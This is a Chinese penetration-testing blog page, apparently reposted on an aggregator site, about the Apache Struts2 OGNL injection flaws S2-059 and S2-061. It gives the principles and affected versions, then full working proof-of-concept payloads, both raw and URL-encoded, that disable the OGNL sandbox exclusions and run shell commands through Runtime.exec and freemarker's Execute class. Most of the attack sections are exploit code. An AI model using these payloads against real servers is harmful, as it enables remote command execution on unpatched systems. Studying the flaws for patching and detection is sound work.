    使用某些标签时,会对标签属性值进行二次表达式解析,当标签属性值使用了%{skillName}并且skillName的值用户可以控制,就会造成OGNL表达式执行。

🌼2、影响版本

Struts 2.0.0 – Struts 2.5.20

🌼3、漏洞验证

🍑(1)验证漏洞

在URL后拼接?id=%{1+1},观察回显,如POC:http://192.168.244.128:8080/?id=%25{2*2}

【渗透测试】Struts2系列漏洞

🍑(2)命令执行

🍓POC:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).

(#ct=#request['struts.valueStack'].context).

(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).

(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

(#ou.setExcludedPackageNames('')).

(#ou.setExcludedClasses('')).

(#ct.setMemberAccess(#dm)).

(#a=@java.lang.Runtime@getRuntime().exec('id')).

(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

🍓URL编码后:

%25%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.setExcludedPackageNames(%27%27)).(%23ou.setExcludedClasses(%27%27)).(%23ct.setMemberAccess(%23dm)).(%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27id%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7d

【渗透测试】Struts2系列漏洞

🌷S2-061

🌼1、漏洞原理

    s2-061是一个远程命令执行的漏洞,Struts2会对某些标签属性(比如id,其他属性有待寻找)的属性值进行二次表达式解析,因此当这些标签属性中使用了%{x}且x的值用户可控时,用户再传入一个%{payload}即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过。

🌼2、影响版本

Apache Struts 2.0.0 - 2.5.25

🌼3、漏洞验证

🍓POC:

%{(#instancemanager=#application['org.apache.tomcat.InstanceManager']).

(#stack=#request['struts.valueStack']).

(#bean=#instancemanager.newInstance('org.apache.commons.collections.BeanMap')).

(#bean.setBean(#stack)).

(#context=#bean.get('context')).

(#bean.setBean(#context)).

(#macc=#bean.get('memberAccess')).

(#bean.setBean(#macc)).

(#emptyset=#instancemanager.newInstance('java.util.HashSet')).

(#bean.put('excludedClasses',#emptyset)).

(#bean.put('excludedPackageNames',#emptyset)).

(#arglist=#instancemanager.newInstance('java.util.ArrayList')).

(#arglist.add('id')).

(#execute=#instancemanager.newInstance('freemarker.template.utility.Execute')).

(#execute.exec(#arglist))}

🍓URL编码后:

%25%7b(%23instancemanager%3d%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).%0d%0a(%23stack%3d%23request%5b%27struts.valueStack%27%5d).%0d%0a(%23bean%3d%23instancemanager.newInstance(%27org.apache.commons.collections.BeanMap%27)).%0d%0a(%23bean.setBean(%23stack)).%0d%0a(%23context%3d%23bean.get(%27context%27)).%0d%0a(%23bean.setBean(%23context)).%0d%0a(%23macc%3d%23bean.get(%27memberAccess%27)).%0d%0a(%23bean.setBean(%23macc)).%0d%0a(%23emptyset%3d%23instancemanager.newInstance(%27java.util.HashSet%27)).%0d%0a(%23bean.put(%27excludedClasses%27%2c%23emptyset)).%0d%0a(%23bean.put(%27excludedPackageNames%27%2c%23emptyset)).%0d%0a(%23arglist%3d%23instancemanager.newInstance(%27java.util.ArrayList%27)).%0d%0a(%23arglist.add(%27id%27)).%0d%0a(%23execute%3d%23instancemanager.newInstance(%27freemarker.template.utility.Execute%27)).%0d%0a(%23execute.exec(%23arglist))%7d

【渗透测试】Struts2系列漏洞

【渗透测试】Struts2系列漏洞文章来源地址https://www.toymoban.com/news/detail-408760.html

到了这里,关于【渗透测试】Struts2系列漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [漏洞复现]Apache Struts2/S2-015 (CVE-2013-2135)

    2.3.14.3 之前的 Apache Struts 2 允许远程攻击者通过一个包含“${}”和“%{}”序列的特制值的请求执行任意 OGNL 代码,这会导致 OGNL 代码被评估两次。 春秋云境.com 进入靶场 开始复现 构造好payload,弹nc 就构造好的payload,url编码 接入我们的ip后面,同时本地打开nc监听 把靶场关了,

    2024年01月25日
    浏览(41)
  • Apache Struts2 S2-045远程命令执行漏洞(CVE-2017-5638)复现

    Apache Struts2是Apache项目下的一个web 框架,帮助Java开发者利用J2EE来开发Web相关应用。 Apache Struts2的Jakarta Multipart parser插件存在远程代码执行漏洞,攻击者可以在使用该插件上传文件时,修改HTTP请求头中的Content-Type值来触发该漏洞,导致远程执行代码。 Struts 2.3.5 – Struts 2.3.3

    2024年02月15日
    浏览(46)
  • 【渗透测试】Apache Shiro系列漏洞

      🍨 Shiro-550(CVE-2016-4437) 🍦 1、漏洞原理 🍦 2、影响版本 🍦 3、漏洞利用 🍨 Shiro-721 🍦 1、漏洞原理 🍦 2、影响版本 🍦 3、漏洞利用 🍨 Shiro认证绕过漏洞(CVE-2020-1957) 🍦 1、漏洞原理 🍦 2、影响版本 🍦 3、漏洞验证 🍨 Shiro 身份验证绕过 (CVE-2020-13933) 🍦 

    2024年02月06日
    浏览(75)
  • java web mvc-02-struts2

    Spring Web MVC-00-重学 mvc mvc-01-Model-View-Controller 概览 web mvc-03-JFinal web mvc-04-Apache Wicket web mvc-05-JSF JavaServer Faces web mvc-06-play framework intro web mvc-07-Vaadin web mvc-08-Grails Apache Struts是一个用于创建优雅、现代Java Web应用程序的免费、开源的MVC框架。 struts 我的示例基于maven和struts2文档。

    2024年01月24日
    浏览(50)
  • 框架安全(Laravel、thinkphp、struts2、springboot)

    Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。 特征: CVE-2021-3129 Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发php反序列化,最终造

    2024年04月14日
    浏览(36)
  • struts2 s2-062 ONGL远程代码执行

    struts2是一种重量级的框架,位于MVC架构中的controller,可以分析出来,它是用于接受页面信息然后通过内部处理,将结果返回。struts2也是一个web层的MVC框架。 Java中SSH框架 SSH为Struts+Spring+Hibernate的一个集成框架,是目前较流行的一种JAVA Web应用程序开源框架。 Java中SSM框架 SS

    2024年02月02日
    浏览(41)
  • struts2 s2-062 OGNL远程代码执行

    struts2是一种重量级的框架,位于MVC架构中的controller,可以分析出来,它是用于接受页面信息然后通过内部处理,将结果返回。struts2也是一个web层的MVC框架。 Java中SSH框架 SSH为Struts+Spring+Hibernate的一个集成框架,是目前较流行的一种JAVA Web应用程序开源框架。 Java中SSM框架 SS

    2024年02月02日
    浏览(39)
  • 【Java】极简的快速入门Struts2知识清单

    目录 简介 MVC示例 Model层 View层 Controller层 配置文件struts.xml 简单开发流程 Struts2 是一个用于开发 Java Web 应用程序的开源 Web 应用程序框架,它是 Struts 框架的升级版。Struts2 提供了更简单、更灵活的方式来构建 Web 应用程序,采用了拦截器(Interceptors)等技术来处理请求,并且

    2024年02月19日
    浏览(39)
  • 【渗透测试之二进制安全系列】格式化漏洞揭秘(一)

    相信学习过C语言的童鞋儿们,都有接触过比较基础的输入输出函数(例如,scanf和printf等),那么对于%s、%d、%f、%c、%x等 格式化符号 应该并不会感到陌生。学习过汇编语言,并且有逆向工程基础的童鞋儿们,应该都对C语言翻译成汇编语言代码的大概格式会有所了解! 我们

    2024年02月04日
    浏览(46)
  • 渗透测试漏洞原理之---【任意文件读取漏洞】

    1、概述 一些网站的需求,可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件。这些文件可以是源代码文件,配置文件,敏感文件等等。 任意文件读取会造成(敏感)信息泄露; 任意文件读取大多数情况是由

    2024年02月10日
    浏览(50)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包